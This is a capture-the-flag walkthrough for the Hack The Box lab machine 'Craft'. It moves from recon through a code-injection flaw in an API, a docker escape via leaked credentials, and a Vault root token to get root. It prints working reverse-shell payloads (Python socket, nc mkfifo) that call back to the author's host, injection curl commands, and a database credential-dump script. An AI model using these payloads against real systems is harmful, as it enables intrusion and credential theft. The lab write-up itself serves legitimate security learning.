HTB: Craft

Details

This machine is Craft from Hack The Box

Recon

Start by checking ports

root@kali:~# nmap -sV -p- 10.10.10.110
Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-20 12:58 EDT
Nmap scan report for 10.10.10.110
Host is up (0.054s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
443/tcp  open  ssl/http nginx 1.15.8
6022/tcp open  ssh      (protocol 2.0)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6022-TCP:V=7.70%I=7%D=10/20%Time=5DAC9269%P=x86_64-pc-linux-gnu%r(N
SF:ULL,C,"SSH-2\.0-Go\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.41 seconds

User

Start with the webserver https://10.10.10.110/

Screenshot 1

I added craft.htb to hosts, along with gogs.craft.htb as it was linked in the top right. So onto https://gogs.craft.htb/

Screenshot 2

I took a look around https://gogs.craft.htb/explore/repos

Screenshot 3

Then https://gogs.craft.htb/Craft/craft-api, there was an interesting issue

Screenshot 4

So I took a look at the patch https://gogs.craft.htb/Craft/craft-api/commit/c414b160578943acfe2e158e89409623f41da4c6

Screenshot 5

So if this code is live, I can include my own python. but the token wasn't valid anymore. But I found the api subdomain added it and took a look https://api.craft.htb/api/

Screenshot 6

So I need some login creds, but luckily there were some in the same commits as the vulnerable code, this time in the tests

Screenshot 7

dinesh:4aUh0A8PbVJxgd

I use the api tested to generate the token

Screenshot 8

Which gave

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNTcxNzU5NTIxfQ.2u4kKSmE9IIOXzuGj3fGYB2hUbAzh0SzADe_lI604jE

So I tried to inject a reverse shell in python with

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.36',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);

So set a listener

root@kali:~# nc -nlvp 4444

Of note is I had to refresh my token a few times, but I ran the payload

root@kali:~# curl -H 'X-Craft-API-Token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNTcxNzYxNzM3fQ.5EqTGuc1XZwbiFcE7RtC-WkYdd-FCk1TcbqWZtWI-NY' -H "Content-Type: application/json" -k -X POST https://api.craft.htb/api/brew/ --data '{"name":"test1","brewer":"test1", "style": "test1", "abv": "__import__(\"os\").system(\"nc 10.10.14.36 4444 -e bin/bash \")"}' 
"ABV must be a decimal value less than 1.0"

In the listener

connect to [10.10.14.36] from (UNKNOWN) [10.10.10.110] 42919

It instantly closed, so I tried a different payload

curl -H 'X-Craft-API-Token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNTcxNzYyMDc5fQ.p415L-YyI396ESVCw17d-_-PqKMujuN3WMa0hmtVZ7U' -H "Content-Type: application/json" -k -X POST https://api.craft.htb/api/brew/ --data '{"name":"test1","brewer":"test1", "style": "test1", "abv": "__import__(\"os\").system(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.36 4444 >/tmp/f\")"}' 

Which led to

connect to [10.10.14.36] from (UNKNOWN) [10.10.10.110] 43875
/bin/sh: can't access tty; job control turned off
/opt/app # 

There's the shell

/opt/app # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

I was already root, but something seemed off

/opt/app # cd /
/ # ls -la
total 64
drwxr-xr-x    1 root     root          4096 Feb 10  2019 .
drwxr-xr-x    1 root     root          4096 Feb 10  2019 ..
-rwxr-xr-x    1 root     root             0 Feb 10  2019 .dockerenv
drwxr-xr-x    1 root     root          4096 Feb  6  2019 bin
drwxr-xr-x    5 root     root           340 Oct 22 15:45 dev
drwxr-xr-x    1 root     root          4096 Feb 10  2019 etc
drwxr-xr-x    2 root     root          4096 Jan 30  2019 home
drwxr-xr-x    1 root     root          4096 Feb  6  2019 lib
drwxr-xr-x    5 root     root          4096 Jan 30  2019 media
drwxr-xr-x    2 root     root          4096 Jan 30  2019 mnt
drwxr-xr-x    1 root     root          4096 Feb  9  2019 opt
dr-xr-xr-x  165 root     root             0 Oct 22 15:45 proc
drwx------    1 root     root          4096 Feb  9  2019 root
drwxr-xr-x    2 root     root          4096 Jan 30  2019 run
drwxr-xr-x    2 root     root          4096 Jan 30  2019 sbin
drwxr-xr-x    2 root     root          4096 Jan 30  2019 srv
dr-xr-xr-x   13 root     root             0 Oct 22 15:45 sys
drwxrwxrwt    1 root     root          4096 Oct 22 16:30 tmp
drwxr-xr-x    1 root     root          4096 Feb  9  2019 usr
drwxr-xr-x    1 root     root          4096 Jan 30  2019 var

The dockerenv file gave it away, I'm in a docker contained. So I dug around looking for ways out

/opt/app/craft_api # cat settings.py
[SNIP]
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
[SNIP]

So db creds, and the db is hosted on a host called db

/opt/app # ping -c 1 db
PING db (172.20.0.4): 56 data bytes
64 bytes from 172.20.0.4: seq=0 ttl=64 time=0.061 ms

--- db ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.061/0.061/0.061 ms

So the ip of the db host is

172.20.0.4

The contained doesn't have the mysql client installed, but there is a db test script

/opt/app # cat dbtest.py
#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
                             user=settings.MYSQL_DATABASE_USER,
                             password=settings.MYSQL_DATABASE_PASSWORD,
                             db=settings.MYSQL_DATABASE_DB,
                             cursorclass=pymysql.cursors.DictCursor)

try: 
    with connection.cursor() as cursor:
        sql = "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"
        cursor.execute(sql)
        result = cursor.fetchone()
        print(result)

finally:
    connection.close()

So I made my own version which dumps the users database

root@kali:~# cat userdump.py 
#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
                             user=settings.MYSQL_DATABASE_USER,
                             password=settings.MYSQL_DATABASE_PASSWORD,
                             db=settings.MYSQL_DATABASE_DB,
                             cursorclass=pymysql.cursors.DictCursor)

try: 
    with connection.cursor() as cursor:
        sql = "SELECT `username`,`password` FROM `user`"
        cursor.execute(sql)
        for row in cursor:
          print(row)

finally:
    connection.close()

I moved this over to the target

root@kali:~# nc -nvlp 5555 < userdump.py

/opt/app # nc 10.10.14.36 5555 > userdump.py

I then ran this

/opt/app # python userdump.py
{'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}
{'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}
{'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}

I tried these on ssh with no luck, so I tried them on gogs https://gogs.craft.htb/user/login

Screenshot 9

The creds for gilfoyle worked

Screenshot 10

There was a private repo https://gogs.craft.htb/gilfoyle/craft-infra

Screenshot 11

In the .ssh folder https://gogs.craft.htb/gilfoyle/craft-infra/src/master/.ssh

Screenshot 12

I saved the id_rsa and chmod it to 600, then try it against ssh

root@kali:~# ssh gilfoyle@craft.htb -i ./id_rsa 

  .   *   ..  . *  *
*  * @()Ooc()*   o  .
    (Q@*0CG*O()  ___
   |\_________/|/ _ \
   |  |  |  |  | / | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | \_| |
   |  |  |  |  |\___/
   |\_|__|__|_/|
    \_________/

Enter passphrase for key './id_rsa': 

I tried the password from before

ZEU3N8WNM2rh4T

And got

Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
gilfoyle@craft:~$ 

So I took a look around

gilfoyle@craft:~$ ls -la
total 36
drwx------ 4 gilfoyle gilfoyle 4096 Feb  9  2019 .
drwxr-xr-x 3 root     root     4096 Feb  9  2019 ..
-rw-r--r-- 1 gilfoyle gilfoyle  634 Feb  9  2019 .bashrc
drwx------ 3 gilfoyle gilfoyle 4096 Feb  9  2019 .config
-rw-r--r-- 1 gilfoyle gilfoyle  148 Feb  8  2019 .profile
drwx------ 2 gilfoyle gilfoyle 4096 Feb  9  2019 .ssh
-r-------- 1 gilfoyle gilfoyle   33 Feb  9  2019 user.txt
-rw------- 1 gilfoyle gilfoyle   36 Feb  9  2019 .vault-token
-rw------- 1 gilfoyle gilfoyle 2546 Feb  9  2019 .viminfo

And grabbed my user flag

gilfoyle@craft:~$ cat user.txt 
[REDACTED]

Vault token was interesting

gilfoyle@craft:~$ cat .vault-token 
f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9

So I did some research and found vault was a tool

gilfoyle@craft:~/.ssh$ vault
Usage: vault <command> [args]

Common commands:
    read        Read data and retrieves secrets
    write       Write data, configuration, and secrets
    delete      Delete secrets and configuration
    list        List data or secrets
    login       Authenticate locally
    agent       Start a Vault agent
    server      Start a Vault server
    status      Print seal and HA status
    unwrap      Unwrap a wrapped secret

Other commands:
    audit          Interact with audit devices
    auth           Interact with auth methods
    kv             Interact with Vault's Key-Value storage
    lease          Interact with leases
    namespace      Interact with namespaces
    operator       Perform operator-specific tasks
    path-help      Retrieve API help for paths
    plugin         Interact with Vault plugins and catalog
    policy         Interact with policies
    secrets        Interact with secrets engines
    ssh            Initiate an SSH session
    token          Interact with tokens

I took a look at what my current token was

gilfoyle@craft:~/.ssh$ vault token lookup f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
Key                 Value
---                 -----
accessor            1dd7b9a1-f0f1-f230-dc76-46970deb5103
creation_time       1549678834
creation_ttl        0s
display_name        root
entity_id           n/a
expire_time         <nil>
explicit_max_ttl    0s
id                  f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
meta                <nil>
num_uses            0
orphan              true
path                auth/token/root
policies            [root]
ttl                 0s       

It's the root token, so I tried it for login

gilfoyle@craft:~$ vault login f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.

Key                  Value
---                  -----
token                f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
token_accessor       1dd7b9a1-f0f1-f230-dc76-46970deb5103
token_duration       ∞
token_renewable      false
token_policies       ["root"]
identity_policies    []
policies             ["root"]

That worked, can I make it give me root ssh

gilfoyle@craft:~$ vault ssh root@127.0.0.1
WARNING: No -role specified. Use -role to tell Vault which ssh role to use for
authentication. In the future, you will need to tell Vault which role to use.
For now, Vault will attempt to guess based on the API response. This will be
removed in the Vault 1.1.
Vault SSH: Role: "root_otp"
WARNING: No -mode specified. Use -mode to tell Vault which ssh authentication
mode to use. In the future, you will need to tell Vault which mode to use.
For now, Vault will attempt to guess based on the API response. This guess
involves creating a temporary credential, reading its type, and then revoking
it. To reduce the number of API calls and surface area, specify -mode
directly. This will be removed in Vault 1.1.
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: 4263aeeb-defe-9699-5c70-79263ace015f

  .   *   ..  . *  *
*  * @()Ooc()*   o  .
    (Q@*0CG*O()  ___
   |\_________/|/ _ \
   |  |  |  |  | / | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | \_| |
   |  |  |  |  |\___/
   |\_|__|__|_/|
    \_________/

Password: 

I eneted the OTP it generated

Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 27 04:53:14 2019
root@craft:~# 

And there we go, time for my flag

root@craft:~# ls -la
total 56
drwx------  6 root root 4096 Aug 27 04:54 .
drwxr-xr-x 22 root root 4096 Nov 22  2018 ..
-rw-r--r--  1 root root  585 Feb  9  2019 .bashrc
drwx------  3 root root 4096 Feb  8  2019 .cache
drwx------  3 root root 4096 Feb  2  2019 .config
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-------  1 root root 1024 Feb  8  2019 .rnd
-r--------  1 root root   33 Feb  9  2019 root.txt
-rw-r--r--  1 root root   75 Feb  8  2019 .selected_editor
drwx------  2 root root 4096 Feb  9  2019 .ssh
-rw-------  1 root root   36 Feb  9  2019 .vault-token
drwxr-xr-x  2 root root 4096 Feb  9  2019 .vim
-rw-------  1 root root 4172 Jul  3 03:36 .viminfo

root@craft:~# cat root.txt
[REDACTED]

Leave a Reply

Your email address will not be published. Required fields are marked *